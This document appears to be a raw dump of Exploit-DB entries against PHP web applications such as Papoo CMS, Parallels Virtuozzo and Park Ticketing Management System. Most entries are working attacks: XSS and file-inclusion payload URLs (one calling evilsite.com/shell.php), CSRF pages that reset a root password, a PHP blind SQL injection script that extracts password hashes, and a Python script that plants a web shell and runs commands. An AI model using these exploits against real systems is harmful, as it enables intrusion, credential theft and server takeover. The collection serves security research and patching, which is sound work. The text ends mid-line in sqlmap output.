deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28472
Description: Papoo CMS 3.2 - IBrowser Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-01
Author: Ironfist

Exploit:
source: https://www.securityfocus.com/bid/19807/info

Papoo CMS is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Papoo CMS 3.0.2 is reported vulnerable; other versions may also be affected.

http://www.example.com/interna/tiny_mce/plugins/ibrowser/ibrowser.php?tinyMCE_imglib_include=http://www.example.com
Exploit-DB #8030
Description: Papoo CMS 3.x - 'pfadhier' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-02-10
Author: SirGod

Exploit:
#########################################################################################################
[+] Papoo CMS 3.6 Local File Inclusion
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
[+] www.hellzone.info
#########################################################################################################

[+] Script Homepage : http://www.papoo-cms.com/

[+] Local File Inclusion

- PoC :

    http://127.0.0.1/[path]/lib/classes/message_class.php?pfadhier=[Local
File]%00

- Example :

     http://127.0.0.1/path/lib/classes/message_class.php?pfadhier=../../../../../../boot.ini%00

- Live Demo

     http://www.papoo-cms.com/lib/classes/message_class.php?pfadhier=../../../../../../etc/passwd%00

#########################################################################################################

# milw0rm.com [2009-02-10]
Exploit-DB #36131
Description: Papoo CMS Light 4.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-12
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/49587/info

Papoo CMS Light is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Papoo CMS Light 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/papoo/papoo_light/index.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/kontakt.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/inhalt.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/forum.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/guestbook.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/account.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/login.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/index/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/forumthread.php/"></a><script>alert(document.cookie);</script>
http://www.example.com/papoo/papoo_light/forum/"></a><script>alert(document.cookie);</script>
Exploit-DB #24647
Description: Parachat 5.5 - Directory Traversal
Type: webapps
Platform: php
Date: 2004-09-28
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/11272/info

It is reported that ParaChat is susceptible to a directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input data.

This vulnerability allows remote attackers to retrieve the contents of arbitrary, potentially sensitive files located on the serving computer with the credentials of the ParaChat server process.

Version 5.5 is reported susceptible to this vulnerability. Other versions may also be affected.

http://www.example.com:7877/..%5C/..%5C/
Exploit-DB #32396
Description: Parallels H-Sphere 3.0/3.1 - 'login.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-19
Author: t0fx

Exploit:
source: https://www.securityfocus.com/bid/31256/info

H-Sphere is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

H-Sphere 3.0.0 Patch 9 and 3.1 Patch 1 are vulnerable; other versions may also be affected. 

http://www.example.com/webshell4/login.php?err=[XSS]
http://www.example.com/webshell4/login.php?login=[XSS]
Exploit-DB #13833
Description: Parallels System Automation (PSA) - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-11
Author: Pouya Daneshmand

Exploit:
#################################################################
# Application Info:
# Name: Parallels System Automation (PSA)
# Vendor: http://Parallels.com
#################################################################
# Vulnerability Info:
# Type: Local File Inclusion
# Risk: Medium
#################################################################
Vulnerability:
https://cp.site.com/servlet/Help?system_id=pem&book_type=login&help_id=change_password&locale=/../../../../../../etc/passwd%00
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.info
# Contacts: pouya@pouya.info
###################################################################
# Orginal Document:http://blog.pouya.info/userfiles/vul/PSA-LFI.pdf
###################################################################
# Securitylab.ir
###################################################################
Exploit-DB #31604
Description: Parallels Virtuozzo Containers 3.0.0-25.4.swsoft VZPP Interface Change Pass - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2008-04-03
Author: poplix

Exploit:
source: https://www.securityfocus.com/bid/28593/info

Parallels Virtuozzo Containers is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers.

Virtuozzo Containers 3.0.0-25.4.swsoft is vulnerable; other versions are also affected. 

<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by setting root password to "csrfsafepass" tested against Version 25.4.swsoft (build: 3.0.0-25.4.swsoft) perform the following steps to test it: 1. in this file replace 127.0.0.1 with target vps address 2. open a web browser and log into virtuozzo web interface 3. open this file in a new browser window and click the "change pwd" --> <form target=vrtifr name="defaultForm" method="post" action="https://127.0.0.1:4643/vz/cp/pwd"> <input type="hidden" name="passwd" value="csrfsafepass"> <input type="hidden" name="retype" value="csrfsafepass"> <input type="hidden" name="_submit" value="Change" > </form> <iframe style="width:1px;height:1px;visibility:hidden" name="vrtifr"></iframe> <input type=button value="change pwd" onclick="document.defaultForm.submit()">
Exploit-DB #31603
Description: Parallels Virtuozzo Containers 3.0.0-25.4/4.0.0-365.6 VZPP Interface File Manger - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2008-04-03
Author: poplix

Exploit:
source: https://www.securityfocus.com/bid/28589/info

Parallels Virtuozzo Containers is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to perform certain file-management actions with the privileges of the user running the application. Successful exploits will compromise affected computers.

Virtuozzo Containers 3.0.0-25.4.swsoft and 4.0.0-365.6.swsoft are vulnerable; other versions are also affected.

<!-- poplix papuasia.org -- http://px.dynalias.org -- 04-02-2008 this file exploits a vulnerable installation of virtuozzo web panel by overwriting /etc/passwd.demo tested against Version 365.6.swsoft (build: 4.0.0-365.6.swsoft). It doesn't work with older version due to paths changes. perform the following steps to test it: 1. create a blank /etc/passwd.demo on target machine 2. in this file replace 127.0.0.1 with target vps address 3. open a web browser and log into virtuozzo web interface 4. open this file in a new browser window and click the "lets rock" button when the page is fully loaded 5. check /etc/passwd.demo in the target vps filesystemm --> <script language="JavaScript"> var ok=false; function letsgo(){ ok=true; document.getElementById('form0').submit(); } </script> <!-- this sets /etc as the current path--> <iframe style="width:1px;height:1px;visibility:hidden" name=ifr src="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/index?path=L2V0Yw==" ></iframe> <iframe id=ifr1 style="width:1px;height:1px;visibility:hidden" name=ifr1 onload="if(ok)document.getElementById('form1').submit();" ></iframe> <iframe id=ifr2 style="width:1px;height:1px;visibility:hidden" name=ifr2 > </iframe> <!-- delete /etc/passwd.demo --> <form id=form0 target=ifr1 method=post action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/list-control" > <input type=hidden name="file-name" value="passwd.demo"> <input type=hidden name=delete value=1> </form> <!-- create /etc/passwd.demo --> <form id=form1 target=ifr2 enctype="multipart/form-data" name="defaultForm" method="POST" action="https://127.0.0.1:4643/vz/cp/vzdir/infrman/envs/files/create-file"> <input xmlns:http="http://www.swsoft.com/xsl/cp/http" type="hidden" name="step" value="gen"> <input type=hidden name="file_name" value="passwd.demo"> <input type=hidden name="file_body" value="root::0:0::/root:/bin/bash"> <input type=hidden name="next" value="Create"> </form> <input type=button value="lets rock" onclick="letsgo()">
Exploit-DB #32365
Description: Paranews 3.4 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-09-12
Author: Xylitol

Exploit:
source: https://www.securityfocus.com/bid/31152/info

Paranews is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Paranews 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/news.php?pn_go=details&page=[XSS]&id=[XSS]
Exploit-DB #41730
Description: Parcel Delivery Booking Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Parcel Delivery Booking Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/parcel-delivery-booking-script
# Demo: http://parceldelivery.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/add_booking_shipment_first_step/1/1/1/1[SQL]
# Etc...
# # # # #
Exploit-DB #7851
Description: Pardal CMS 0.2.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-22
Author: darkjoker

Exploit:
--+++=============================================================+++--
--+++====== Pardal CMS <= 0.2.0 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--

<?php

function usage ()
{
    echo "\nPardal CMS <= 0.2.0 Blind SQL Injection Exploit".
         "\n[+] Author  : darkjoker".
         "\n[+] Site    : http://darkjoker.net23.net".
         "\n[+] Download: http://tinyurl.com/csg4vt".
         "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
         "\n[+] Ex.     : php xpl.php localhost /PardalCMS Admin".
         "\n\n";
    exit ();
}


function query ($user, $chr, $pos)
{
    $query = "x' OR ASCII(SUBSTRING((SELECT senha FROM users WHERE login = '{$user}'),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($hostname, 80);
    $query = query ($user, $chr, $pos);
    $request = "GET {$path}/comentar.php?id={$query} HTTP/1.1\r\n".
           "Host: {$hostname}\r\n".
           "Connection: Close\r\n\r\n";
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match ("/\"#FFFFFF\"> em <\/font>/", $reply))
        return false;
    else
        return true;
}

if ($argc != 4)
    usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$key = "abcdef[PII_REDACTED]";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
    if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-22]
Exploit-DB #2955
Description: Paristemi 0.8.3b - 'buycd.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-19
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ Paristemi 0.8.3b (buycd.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.paristemi.com/
+ Affected Software .: Paristemi 0.8.3b
+ Download ..........: http://downloads.sourceforge.net/paristemi/paristemi-0_8_3.zip
+ Description .......: "Paristemi is a PHP/MySQL free website for churches"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Paristemi music/buycd.php fails to initialize the $HTTP_DOCUMENT_ROOT variable before using
+ it to include files, assuming register_globals = on, we can initialize the variable in a
+ query string and include a remote file of our choice.
+
+ Vulnerable Code:
+ music/buycd.php, line(s) 03:
+ -> <?php require_once $HTTP_DOCUMENT_ROOT.$INCLUDE_PATH.$HEADER.
+ 
+ Proof Of Concept:
+ http://[target]/[path]/music/buycd.php?HTTP_DOCUMENT_ROOT=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-12-19]
Exploit-DB #48662
Description: Park Ticketing Management System 1.0  - 'viewid' SQL Injection
Type: webapps
Platform: php
Date: 2020-07-13
Author: gh1mau

Exploit:
# Exploit Title: Park Ticketing Management System 1.0  - 'viewid' SQL Injection
# Date: 2020-07-13
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10952
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)



import requests
#this script is for POC purpose, you could add your own error checking mechanism
command = "whoami"
url = "http://localhost:80/ptms/view-normal-ticket.php?viewid=1%27%20UNION%20ALL%20SELECT%200x3c3f[PII_REDACTED]797374656d28245f[PII_REDACTED]53545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL%20INTO%20OUTFILE%20%27C:/UwAmp/www/ptms/1.php%27--%20-"

payload = ""
headers = {
    "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5"
}

response = requests.request("GET", url, data=payload, headers=headers)

print("[+] Injecting Web Shell...\n")

url2 = "http://localhost:80/ptms/1.php?gh1mau=" + command

payload2 = ""
headers2 = {
    "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5"
}

response2 = requests.request("GET", url2, data=payload2, headers=headers2)

print("Web Shell: " + url2)
print(response2.text)
Exploit-DB #48663
Description: Park Ticketing Management System 1.0  - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-07-13
Author: gh1mau

Exploit:
# Exploit Title: Park Ticketing Management System 1.0  - Authentication Bypass
# Date: 2020-07-13
# Exploit Author: gh1mau
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10952
# Version: V1.0
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
---------------- 
/index.php

Vulnerable Code:
-----------------
line 8: $adminuser=$_POST['username'];

Vulnerable Issue:
-----------------
$adminuser=$_POST['username']; has no sanitization

POC User Login:
---------------

URL: http://localhost/ptms/index.php
Username : ' or '1'='1'#
[CREDENTIAL_REDACTED]


Python POC:
-----------

import requests,re

url = "http://localhost:80/ptms/index.php"

payload = "username=%27+or+%271%27%3D%271%27%23&[CREDENTIAL_REDACTED]="
headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/ptms/index.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "80", 
    "Content-Type": "application/x-www-form-urlencoded"
}

pattern = "PTMS ADMIN"
response = requests.request("POST", url, data=payload, headers=headers)

if re.findall(pattern,response.text):
    print("[+] Authentication bypassed using the following payload : " + payload)

else:
    print("[!] Something wrong somewhere")
Exploit-DB #49503
Description: Park Ticketing Management System 1.0 - 'viewid' SQL Injection
Type: webapps
Platform: php
Date: 2021-02-01
Author: Zeyad Azima

Exploit:
# Exploit Title: Park Ticketing Management System 1.0 - 'viewid' SQL Injection
# Google Dork: N/A
# Date: 29/1/2021
# Exploit Author: Zeyad Azima
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/
# Version: V1
# Tested on: Windows

# Identify the vulnerability

1- go to http://localhost/index.php and login with your account

2- then go to http://localhost/manage-normal-ticket.php

3- Click view on any ticket. then add the following payload to the url

payload: ' AND (SELECT 8292 FROM (SELECT(SLEEP(5)))XIQB) AND 'QCDH'='QCDH
url: http://localhost/view-normal-ticket.php?viewid=1%27%20AND%20(SELECT%208292%20FROM%20(SELECT(SLEEP(5)))XIQB)%20AND%20%27QCDH%27=%27QCDH

If the web server makes you wait 5 seconds then it's vulnerable


# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --cookies="cookies here" --dbs

example: sqlmap -u http://localhost/view-normal-ticket.php?viewid=1
--cookie="PHPSESSID=dtp3titus8giv9bpdmimi6r6f1" --dbs

        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.10.16#dev}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage
caused by this program

[*] starting @ 23:19:33 /2021-01-29/

[23:19:34] [INFO] resuming back-end DBMS 'mysql'
[23:19:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: viewid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: viewid=1' AND 5743=5743 AND 'wcUF'='wcUF

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: viewid=1' AND (SELECT 8292 FROM (SELECT(SLEEP(5)))XIQB)
AND 'QCDH'='QCDH

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: viewid=1' UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x716a767a71,0x6f5367494d7573444b726d466e617a[PII_REDACTED]6d49466a654d6569746b[PII_REDACTED]686a4e4548,0x716a767671),NULL,NULL,NULL--
-
---
[23:19:34] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.3.10
back-end DBMS: MySQL >= 5.0.12
[23:19:34] [INFO] fetching database names
available databases [8]:
[*] detsdb
[*] information_schema
[*] mysql
[*] performance_schema
[*] ptmsdb
[*] sys
[*] umspsdb
[*] zmsdb

[23:19:34] [INFO] fetched data logged to text files under